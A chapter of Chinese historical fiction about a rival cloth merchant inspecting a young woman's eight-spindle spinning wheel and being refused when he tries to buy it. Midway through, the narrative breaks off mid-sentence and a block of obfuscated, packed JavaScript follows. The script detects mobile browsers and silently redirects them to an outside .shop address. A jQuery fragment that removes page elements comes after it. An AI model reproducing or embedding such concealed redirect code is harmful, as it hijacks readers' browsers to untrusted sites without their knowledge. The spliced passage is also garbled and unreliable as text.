一辆驴车停在沈记院门口。
不是送棉花的。送棉花的用独轮车，轱辘压在地上吱嘎响，隔两条巷子都能听见。这辆驴车安安静静的，轱辘停下来的时候连一声多余的响动都没有。
车上坐着个穿绸直裰的中年男人。车帘半卷，露出里面干干净净的木板车斗。没装货，车底板连棉絮都没沾。
沈秀宁正在纺纱间门口跟赵婶说导纱钩的事。余光扫到那身绸料。苏州货。缎纹地，暗花，料子在日光下反出一种软光。松江的绸面发暗，织纹粗，一尺卖两钱。苏州绸一尺少说五钱。她把手里的棉条搁回赵婶的棉条筒里。
中年男人下了车。脚落地的时候先看了一眼院门上的沈记木牌。又看院子里的木工凳。凳上摊着刨花和木屑，旁边搁着一把刚磨过的刨子。再看纺纱间的门。门半开着，里面传出皮带转动的沙沙声。
“同行，姓周。”
他拱了拱手。
“路过青龙桥，听说沈记纺纱快，过来看看。”
语气随意，像顺路串门。但眼睛在扫院子。纺纱间门朝哪开、库房多大、墙根堆了什么东西。扫得很快，但每样东西都停了一下，像账房先生翻账本。
沈秀宁转过身。
“周掌柜随便看。”
周济才迈过门槛。皂靴踩在夯土地上，鞋底和地面之间没有声音。他走路的时候脚掌先着地，整个人重心往下沉。
他先去了纺纱间。赵婶正在踩踏板。八根锭杆同时转着，纱线从她十根手指间穿过往上走。空气里的嗡嗡声密得像一锅水快开。周济才站在赵婶身后，没出声，看了好一会儿。不是看热闹。他在算。踏板踩一下，大绳轮转一圈，皮带走了两圈，八根锭杆同时转。五锭的时候踩一下出五根纱，现在出八根。一台纺车当两台用。
他的目光从大绳轮移到皮带，从皮带移到锭子座。上下两排：下面五根，上面三根，交错排列。后排的锭杆从前排的缝隙里露出来，像一排错开的梳齿。赵婶左手引五根棉条，右手引三根。右手食指往外多伸了半个指节。够最右边那根棉条的时候，虎口撑到了极限。指关节绷得发白。
周济才看到了那个发白的指关节。
他从纺纱间出来，蹲在院子角落。蹲下去的时候膝盖发出一声很轻的咔嗒。一只手撑着膝盖，另一只手伸出去。沈大柱刚做好一个备用锭子座，搁在木工凳上。八个孔，上下两排，交错排列。周济才没问能不能碰，直接伸手。拇指在第一个孔的内壁上蹭了一圈。在摸孔壁的光滑度。用食指尖比了比上下两排孔的间距。手指在孔间那根窄壁上停了一瞬。走线凿修过的地方，两孔之间只剩一指宽的木料。铁力木，纹紧，按下去纹丝不动。他用指腹按了按两孔之间的木壁。指甲缝里沾了一点木屑。铁力木的木屑是暗红色的，闻着有股铁锈味。
“铁力木。”
沈秀宁站在纺纱间门口。
“铁力木。纹紧，不吃水，做锭子座不变形。”
周济才把木屑拍掉，站起来。站起来的时候手又在膝盖上撑了一下。撑完之后下意识地揉了揉膝盖。蹲久了膝盖发僵。揉了两下才直起腰。
出了纺纱间，往库房走。不是沈秀宁领的。他自己走过去的。方向很准，好像早知道库房在哪。从纺纱间门口到库房门口，斜穿过院子，走的是最短的直线。
库房门开着。墙角堆着纱筒，从地上摞到第七层。最上面那层是今天新纺的，筒身绕满米白色的纱线。在库房的暗处泛着麻白的光泽，离天花板横梁不到两寸。周济才站在门口，扫了一眼纱筒堆。嘴唇动了一下。不是在念数。是在算。一层多少筒，七层多少筒，够几台织机织几天。嘴唇动了三下。动完之后嘴角往下压了一点点。结果比预想的要大。
他转身走到院子里那匹刚织好的标布旁边。标布叠成四折，搁在木工凳旁边的矮桌上。沈大柱早上搬出来准备下午送布行。周济才拿起布匹。不是拎，是托。一只手托着布底，另一只手把布角翻过来对着日光。看的是经纬密度。拇指在布边上捻了一下。捻的不是布面，是布边。布边的经纬交叉最密，捻开之后能看到纱线的捻度。捻了两下，拇指停住了。捻度比他想的要紧。
然后扯了扯布角。往两边绷了一下。布面绷紧之后，经纬交叉点的间隙均匀不均匀，一眼就能看出来。他把布举在日光下看了好一会儿。日光从经纬线的缝隙里透过来，在布面上铺了一层细细的光网。光网是整齐的方格，没有歪，没有断。
“布不错。”
他把布匹放回矮桌上，折角对齐原来的折痕。
“经纬密实，捻度均匀。”
顿了顿。
“松江不缺好布，缺的是量。”
沈秀宁没接话。她靠在门框上，等他说下去。
周济才看了她一眼。一个十六七岁的姑娘，听到“松江不缺好布”之后没有争辩，没有解释。只是站在那，等他往下说。他笑了一下。嘴角往右边歪了一点，左边的脸没动。算账算到一半发现对方比自己想的难缠时，人脸上会出现这种笑。
“十两一台。你出八锭纺车，我出织机。松江的标布出口量翻一倍。双赢。”
沈秀宁想了不到两息。
“不卖。”
周济才眉毛没动。但搭在布匹上的那根食指在布面上停了一下。本来在捻布边的动作，突然停了。指腹压着经纬交叉点，压出一个浅浅的凹痕。
“十两不够可以谈。十二两。”
“不是价钱的问题。”
沈秀宁的声音跟刚才一样平。
“纺车不卖。”
周济才看着她。一个十六七岁的姑娘，说这话的时候眼睛没眨。逞强的人说完硬话会下意识抿嘴或者攥手指。她没有。手还是垂着的，肩膀还是松的，呼吸的节奏也没变。他把手指从布匹上拿开。拿开之后那根食指在袖口上蹭了一下。不是拍木屑，是汗。袖口上留下一道浅浅的湿痕。
他又看了沈秀宁一眼。看的时间比之前长。第一次看是打量。进门的时候扫一眼，知道院子里有个姑娘。第二次看是估量。提到十两的时候，看她的反应够不够快。现在是第三次。三次看完，他脸上的表情没变，但站姿换了。之前是双脚一前一后，前脚掌着地，随时可以走或者动。现在双脚并拢了，重心放稳了。他开始认真了。
“这旧染坊，是汪家的产业吧。”
语气换了。之前是谈生意。语速快，数字清。现在是聊旧事。语速慢了，声音轻了。
“汪五峰，我跟他是旧识。他当年做染坊的时候，松江一半的布从他手里过。青龙桥往东到黄浦江边，六家染坊，五家看他的脸色收布。”
沈秀宁的睫毛动了一下。不是惊讶。是记。她把“汪五峰”和“松江一半的布”和“六家染坊”在指尖掐了一遍。跟旧染坊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691632|207911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的租赁契约连在一起，又跟眼前这个人连在一起。
周济才没等她的回应。转身往木工桌那边走。桌上摊着一张棉布。沈大柱刚才看完没收。传动图还铺在上面。炭条画的线条在午后的日光下泛着灰黑色。皮带走线从大绳轮到锭子座，再到张紧轮，清清楚楚。棉布边上还有两行字，字迹细小，是沈秀宁写的张力计算。
周济才低头扫了一眼。扫完之后目光停了。停的位置是张紧轮。上下两层皮带之间那个小圆圈。不是扫过去的时候扫到的。是扫完之后目光又折回来，重新定在那个圆圈上。比别处多停了两息。两息不算长。但一个在松江开了三十年织坊的人，看一张图纸的时候目光在一个位置停了两息。那个位置就是关键。两息能看懂什么？传动路线、张紧轮的作用、皮带曲率对张力的影响。全写在炭条画的线条里。周济才看懂了。
他把视线移开。脸上什么表情都没有。但转身往外走的时候脚步比之前快了半拍。进来是逛，出去是走。
沈秀宁跟在他身后三步。走到院门口，他停下来。驴车停在门外，车夫蹲在车辕上打盹，鼾声轻一下重一下。周济才没有叫醒他。
“步子大了。”
没回头，声音跟进门时一样。不高，中气足。但语气不一样了。进门是客气，现在是陈述。
“后面跟着的人，不会只站在门口看。”
不是威胁。没有加重语气，没有拖长尾音。说完转身上了驴车。上车的时候手在车辕上撑了一把。跟蹲下去撑膝盖一样，是胖。车夫被车身的晃动惊醒，抹了一把嘴角的口水，一抖缰绳。驴蹄在夯土地上刨了两下，拉着车往巷口走。
赵婶从纺纱间出来。手里还攥着一根棉条。刚才周济才站在她身后的时候她一直没停。脚踩着踏板，手引着棉条。但引出来的纱线捻度不均匀，中间有两段松了。棉条在她手心里已经被捏出了五个指印。
“他是谁？”
沈秀宁看着驴车拐过巷口。拐弯的时候车身往□□了一下，车帘晃开一条缝。里面那件绸直裰的一角露出来。藏青色，在巷口的阴影里暗得发黑。
“一个算过账的人。”
驴车拐上了青龙桥。桥是石拱桥，坡陡。驴蹄踩在石板上。嗒，嗒，嗒。每一下都落得实在，蹄铁和石板之间的撞击声在桥洞里弹了一下才散。车过桥顶的时候停了。不是驴累了。是周济才撩开了车帘。他回过头。不是看房子。那排矮屋在午后的日光下灰扑扑的。和青龙桥边任何一排矮屋没有区别。看的是烟囱。纺纱间的烟囱在冒烟。不是浓烟。是淡的，从灶膛里升起来。在屋顶上飘了不到一丈就被风吹散了。烟的颜色比灶烟淡，带着棉籽油燃烧后的微酸味，风一吹就往东斜。但烟囱在冒烟。有人在烧火，纺车在转，八根锭杆还在同时往上走。他刚才在库房门口算过。一层多少筒，七层多少筒。那八根锭杆每转一圈，纱筒上的纱层就厚一圈。
车帘放下了。不是摔下来的，是松手之后自己落下来的。布帘落到底的时候晃了两下才停住。驴蹄声重新响起来。嗒嗒嗒，渐远。蹄声从石板路转到土路上的时候，音调变了。从清脆变成了闷响。最后连闷响也听不见了。
巷口空了。夯土地上剩两道车辙，和院门口被驴蹄刨出来的两个浅坑。车辙从院门口一直延伸到巷口拐弯处，在拐弯的地方压得特别深。驴车在那停过。
纺纱间的烟囱还在冒烟。